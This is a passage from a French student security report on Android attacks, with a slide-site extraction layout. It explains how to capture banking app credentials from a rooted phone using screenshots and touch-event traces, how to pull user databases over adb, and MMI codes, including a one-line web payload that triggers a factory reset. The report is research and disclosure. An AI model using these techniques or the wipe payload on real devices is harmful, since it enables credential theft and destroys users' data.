1.7 Récupération des identifiants utilisateurs sur une applica- tion sécurisée Le second objectif du projet était de réussir à capturer les identifiants d’un utilisateur sur une application qui possède une sécurité particulière : – Les dentifiants sont construits à partir d’une suite de chiffres et rentrés via un clavier spécial (comprenant uniquement des chiffres). – Les mots de passe sont construits à partir d’une suite de chiffre dont la saisie s’éffectue via une grille 4*4 où les différents chiffres apparaissent de manière aléatoire. Nous avons choisi l’application labanquepostale pour réaliser cette manipulation. Il existe bien d’autres applications pouvant subir ce genre de manipulation, vu que ce n’est pas une faille applicative, mais plutot une vulnérabilité du système Android. 1.7.1 Principe Une fois le principe compris, il faut donc connaître l’emplacement des chiffres sur la grille lorsque l’utilisateur tape son mot de passe, ainsi que sur quelle zone de l’écran il a appuyé (chiffre correspondant). Il faut également récupérer l’identifiant de l’utilisateur. Pour ce faire nous avons réalisé un ensemble d’opérations à partir de 4 scripts : 23
  27. 27. 1. Détecter le lancement de l’application 2. Effectuer des captures d’écrans toutes les secondes 3. Enregistrer les positions des touchés écrans effectués par l’utilisateur 4. Cadencer ces trois opérations Le but de cette manipulation est de récupérer les touchés écrans ainsi que ce qui est affiché à l’écran durant l’utilisation de l’application. Nous avons pris des captures d’écrans à raison d’une image par seconde, dont leur nom indique l’instant à la seconde prêt auquel elles ont été prises. Le programme retraçant les touchés écrans indique également à quels instants ils ont été réalisés. En fonction du nombre de caractères apparaissant sur la photo (caractères masqués) il est possible de retrouver la position des évenements correspondant à la saisi du mot de passe. Reste à identifier à quel chiffre correspond chaque touché. Pour se faire, il nous a fallu déterminer expérimentalement la position de chaque emplacement de la grille : x= 0 250 500 750 1000 _______________________ |_____|_____|_____|_____| y = [200 300] |_____|_____|_____|_____| y = [300 400] |_____|_____|_____|_____| y = [400 500] |_____|_____|_____|_____| y = [500 600] Une fois l’emplacement de chaque touché identifié sur la grille, il suffit de récupérer la position de chaque chiffre de la grille. Une des photos prises fera l’affaire. Note : Nous avons également déterminé les coor- données des boutons ’corriger’ et ’effacer’. Pour la détection du lancement de l’application nous avons utilisé la commande dumpsys activity | grep top -activity | grep labanquepostale Si cette commande renvoie un resultat non vide alors cela signifie que l’application la banque postale est actuellement en cours d’utilisation. Le programme dumplbp.c disponible en annexe orchestre l’ensemble des opération. Il lance dans un premier temps le script bash checklbp.sh, périodiquement (toutes les secondes) pour détecter le lancement de l’application. Une fois détectée, deux threads sont lancés : – Le permet permet d’exécuter toutes les secondes le programme screenshot.c présenté dans la partie 2.4. – Le second permet de lancer le programme keyposition.c présenté dans la partie 2.5. Ces deux threads permettent la capture des coordonnées de touchés écrans ainsi que ce qui est affiché par l’application. Nous avons choisis de prendre une soixantaine de photos avant de stopper les threads de capture. Nous avons estimé à environ une minute le temps mis par un utilisateur à s’authentifier. La récupération de l’identifiant se fait seulement par parcours de l’ensemble des captures écrans prises. Il sera peut être nécessaire d’avoir plusieurs sessions d’authenfications pour pouvoir retrouver ce code, ou d’éffectuer un bruteforce pour retrouver le(s) chiffre(s) manquant(s). 1.7.2 Mise en application Une fois les programmes chargés sur le mobile, il suffit de lancer via une application tel que TerminalE- mulator.apk la commande : # : /data/local/tmp/dumlbp Une fois la commande executée nous avons lancé l’application en question, et nous nous sommes authen- tifiés. Nous avons ensuite récupéré l’ensemble des photos prises ainsi que la trace des touchés écrans. Nous avons immédiatement récupéré l’identifiant via la photo prise à 22h54min51s (figure 2.5) et nous avons ensuite pu récupérer la grille. Avant d’étudier la trace des touchés écrans, nous avons remarqué que lorsque l’utilisateur saisisait un chiffre sur la grille ce dernier était entouré de jaune, et cela tant que l’on avait pas saisi un autre chiffre sur la grille. Si il s’écoule plus d’une seconde entre chaque chiffre saisi (assez probable), il n’y a pas besoin de lire la trace ! Dans la figure 2.5 le lecteur pourra remarquer que 24
  28. 28. sur la troisième photo du diaporama il est impossible de savoir si c’est un 9 qui a été saisi ou bien un 0. C’est pourquoi nous avons utilisé la trace pour vérifier s’il était possible de récupérer chaque touché écran correspondant aux photos, pour distinguer le 9 du 0 ainsi que pour vérifier si cette méthode fonctionne également sans qu’il y ait un quelconque contour du chiffre sélectionné (telle que sur une application Cre- dit Agricole). La figure suivante donne l’ensemble des touchés écrans capturés aux instants des différentes photos apparaissant sur la figure 2.5 : ############ Date : /04 -05 -2013 -22:54:56 ############ EV_ABS ABS_MT_POSITION_X VALUE : 874 #### 9 EV_ABS ABS_MT_POSITION_Y VALUE : 279 #### ... ############ Date : /04 -05 -2013 -22:54:58 ############ EV_ABS ABS_MT_POSITION_X VALUE : 359 #### 0 EV_ABS ABS_MT_POSITION_Y VALUE : 368 #### ... ############ Date : /04 -05 -2013 -22:54:59 ############ EV_ABS ABS_MT_POSITION_X VALUE : 387 #### 0 EV_ABS ABS_MT_POSITION_Y VALUE : 354 ### ... ############ Date : /04 -05 -2013 -22:55:02 ############ EV_ABS ABS_MT_POSITION_X VALUE : 362 #### 2 EV_ABS ABS_MT_POSITION_Y VALUE : 265 ### ... ############ Date : /04 -05 -2013 -22:55:09 ############ EV_ABS ABS_MT_POSITION_X VALUE : 823 #### 1 EV_ABS ABS_MT_POSITION_Y VALUE : 351 ### ... ############ Date : /04 -05 -2013 -22:55:13 ############ EV_ABS ABS_MT_POSITION_X VALUE : 377 #### 0 EV_ABS ABS_MT_POSITION_Y VALUE : 354 ### Toutes les correspondances entre les coordonnées de cette trace et les chiffres du mot de passe ont pu être effectuées à l’aide de la grille présentée dans la partie 2.6.1. La récupération de l’identifiant de l’utilisateur a été dans cette manipulation instantanné et fournie par la première photo de la figure 2.3. 25
  29. 29. Figure 1.5 – Selections de photos prises durant la capture 1.7.3 Résulat Lors de la manipulation présentée, nous avons été en mesure de récupérer les identifiants saisis par un utilisateur. Cette manipulation a eu un bon déroulement et il a été assez facile de récupérer le mot de passe. Il est possible de rencontrer plus de difficultés. En effet nous avons observé un léger décallage (centaines de micros secondes), entre la date observée sur la trace des coordonnées et les photos. Cela peut être un peu génant mais après en effectuant plusieurs essais en considérant les instants mitoyens (plus ou moins une seconde), l’analyste parvient rapidement à obtenir le code. Il serait possible de remplacer la fonction sleep() utilisée dans le programme d’orchestrage (dumplbp.c), par son accolyte usleep(), au risque d’au contraire ralentir le téléphone et rendre la capture alors plus difficile. 1.7.4 Aller plus loin... Bien qu’il soit possible de réaliser une telle manipulation elle reste en pratique difficile à réaliser. Pour propager un tel programme il serait possible de réaliser une application malveillante (application décom- pillée ayant subi une injection malveillante, recompilée puis redistribuée). Cependant selon le téléphone le clavier n’apparaît pas toujours au même Android (léger décallage selon le modèle). De ce fait cela limite les possibilités d’une telle application. Il serait peut être bon que la firme La banque postale supprime la légère mise en surbrillance du contour du chiffre saisie. Ce "bug" n’apparaît pas sur l’application de la société Crédit Agricole... 26
  30. 30. 1.8 Interface graphique 1.8.1 Visée de l’application Dans le cadre de ce projet nous avons souhaité développer une interface graphique pour la soutance de ce projet. Nous avons automatisé plusieurs des opérations présentées dans les sections précédentes. Nous avons réalisé cette application en langage Python, avec la librairie graphique Tkinter. La simplicité et la rapidité de développement nous ont fait prendre cette décision. Après avoir trouvé comment automatiser toutes ces actions, il est rapide d’effectuer la même chose dans un langage tel que le Java. Le but de ce programme est d’effectuer une attaque ciblée (ie. téléphone et ordinateur à disposition de l’analyse) permettant de récupérer toutes les données présentées dans la section 2.1. L’analyste récupère alors l’ensemble des contacts, sms, mails, identifiants et mots de passes via les bases de données. Il pourra également retrouver le code de vérouillage de l’écran. 1.8.2 Quelques commentaires sur le code Le code est assez basique. Un premier code gui.py crée la GUI qui permet de lancer des services mul- tithreadés. Le deuxième code scripts.py comporte l’ensemble des services. Ce dernier programme utilise l’objet os.system pour exécuter des commandes systèmes. Ces commandes systèmes sont des commandes shell utilisant l’outil Android Debug Bridge adb. os.system(’sudo adb shell su -c "<command >"’) Elles permettent essentiellement la récupération des bases de données. Nous avons utilisé le package sqlite3 pour effectuer les requètes auprès des bases de données. Le logiciel permet de sauvegarder au format .txt l’ensemble des données extraites par l’utilisateur. Pour la démonstration nous avons ajouté un menu qui permet de supprimer tous nos fichiers sur le télé- phone et d’en charger d’autres. Ce menu permet également d’extraire toutes les données extraites des différents logiciels de captures présentés lors des sections 2.2 et 2.6. Cela s’avère pratique quand l’utilisateur veut récupérer l’ensemble des photos (pouvant être de plusieurs centaines) ayant pour nom de fichier l’instant de capture... Une autre fonctionnalité permet de supprimer l’ensemble de ces données également. Figure 1.6 – Aperçu du logiciel 27
  31. 31. 1.8.3 Limites et Amélioration Bien que ce programme soit adapté sur mesure pour le téléphone utilisé lors de la démonstration, sur d’autres modèles il faudra sans doute adapter le code. La faiblesse de ce programme est qu’il nécessite la commande su installé sur le téléphone (ie. téléphone rooté). De plus il faut que l’option Debug Bridge (Paramètres - Options de Développement) soit activée sur le téléphone, sans laquelle notre logiciel est stérile. Pour le rootage du téléphone l’utilisateur étant sensé avoir le téléphone en main, il pourra soit utiliser un exploit tel que présenté dans la section 2.1.1 (Gingerbreak), soit sur des versions plus récentes passer par le FastBoot pour installer la commande su dans réinitialiser le téléphone. Comme nous en avions discuté dans la section 2.1.3, la récupération des données utilisateurs automatisée peut très bien être réalisée par une application malveillante. Etant donné que nous travaillions sur des attaques ciblées, il nous a paru plus intéressant de réaliser un tel logiciel, pour récupérer les données de manière instantannée avec le téléphone physiquement disponible. Cette attaque est intéressante car elle peut être réalisée sans que le code PIN n’ait été saisi par l’utilisateur, et/ou sans que l’écran n’ait été dévérouillé. Il suffit donc que le téléphone soit allumé et bien sur qu’il ait l’option Debug Bridge activée et qu’il soit rooté. 1.9 Commandes MMI 1.9.1 Pourquoi cette étude Les codes MMI sont accessibles en particulier par les services des constructeurs des mobiles pour des besoins de maintenance, et aussi au grand public (même si cette manipulation n’est pas toujours conseillée car très sensible). Certains codes MMI interagissent directement avec les systèmes de fichier. D’après les informations que nous avons pu avoir, certains codes MMI sont propres au constructeur. Ces codes peuvent être utilisés à des fins malveillantes. Dans cette section nous allons présenter quelques utilisations intéressantes. Note : Les manipulations suivantes ont été réalisées sur le téléphone Samsung Nexus S 1.9.2 Dump de la RAM et d’autres informations sur la carte SD En exécutant le code *#9900# ou *#*#9900#*#* sur l’interface graphique du mobile Android, nous obtenons plusieurs menus : – Exécuter dumpstate/logcat : outil système permettant de vérifier l’intégrité des données d’un sys- tème. – TCP Dump : c’est un analyseur de paquet, qui permet à l’utilisateur d’afficher des paquets transmis sur un réseau. Ce fichier est protégé par une authentification OTP (one-time password). Nous n’avons pas réussi à utiliser cet outil. – Nous trouverons donc que ce code est concentré sur les utilitaires dumpstate et logcat. Ces deux derniers permettent d’effectuer un monitoring sur certains ports par exemple. Dans les traces obtenues nous avons trouvé des adresses emails, la configuration des interfaces réseaux. 1.9.3 Reset de l’appareil et suppression les données utilisateurs Le magazine MAGSECURS a publié le Lundi13mai2013 que le chercheur en sécurité Ravi Borgaonkar a démontré lors de la conférence annuelle de sécurité la possibilité de supprimer toutes les données du Galaxy S III et S II à distance. Il explique que l’attaque peut être lancée à partir d’une page web qui charge un identifiant URI (identifiant uniforme de ressource) avec un code usine spécifique. Ainsi, lorsque le mobile se connecte à cette page, l’application s’exécute automatiquement et restaure les paramètres d’usine du téléphone sans demande de confirmation. Seule, Galaxy Jelly Bean (version 4.1 d’Android) n’est pas concernée par cette attaque. Le code MMI de réinitialisation peut être envoyé à l’utilisateur de plusieurs façons : – Par SMS via un message push wap cliquable 28
  32. 32. – Via une page web à l’aide d’un iFrame et un code HTML. Par exemple, voici deux codes malicieux qui pourraient se trouver dans une page web : 1 <script>document.location="tel:*2767*3855%23";</script> Listing 1.22 – Code Java 29
  33. 33. Chapitre 2 Conclusion Ce rapport illustre quelques attaques possibles, il en existe évidemment bien plus. Les utilisateurs d’Android diffèrent en beaucoup de point d’un utilisateur Linux. Ils n’hésiteront pas à rooter leur té- léphone par exemple, ni à donner l’accès root à une application qu’ils ont téléchargée. C’est pourquoi Android devient une cible de plus en plus intéressante pour les attaquants. L’ensemble des codes sources n’a pas joint à ce document pour des raisons de contrôle de diffusion. Cependant ils peuvent être donnés à la demande à l’un des deux auteurs de ce document. 30
  34. 34. Chapitre 3 Références Architecture Android - Site officiel du développement sous Android : http ://developer.android.com/about/versions/index.html Android NDK - Site officiel du développement sous Android : http ://developer.android.com/tools/sdk/ndk/index.html MISC Magasine num. 63, Septembre/Oc- tobre 2012 : Sécurité Android Documentation officiel du Kernel : https ://www.kernel.org/doc/Documentation/ GingerBreak Site C-Skill http ://c-skills.blogspot.fr/2011/04/yummy-yummy-gingerbreak.html 31
  35. 35. Table des figures 1.1 HTC S-OFF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.2 Communication entre RILD et Driver Radio . . . . . . . . . . . . . . . . . . . . . . . . . . 11 1.3 Man in the Midlle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 1.4 Capture d’écran distante . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 1.5 Selections de photos prises durant la capture . . . . . . . . . . . . . . . . . . . . . . . . . 26 1.6 Aperçu du logiciel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 32

×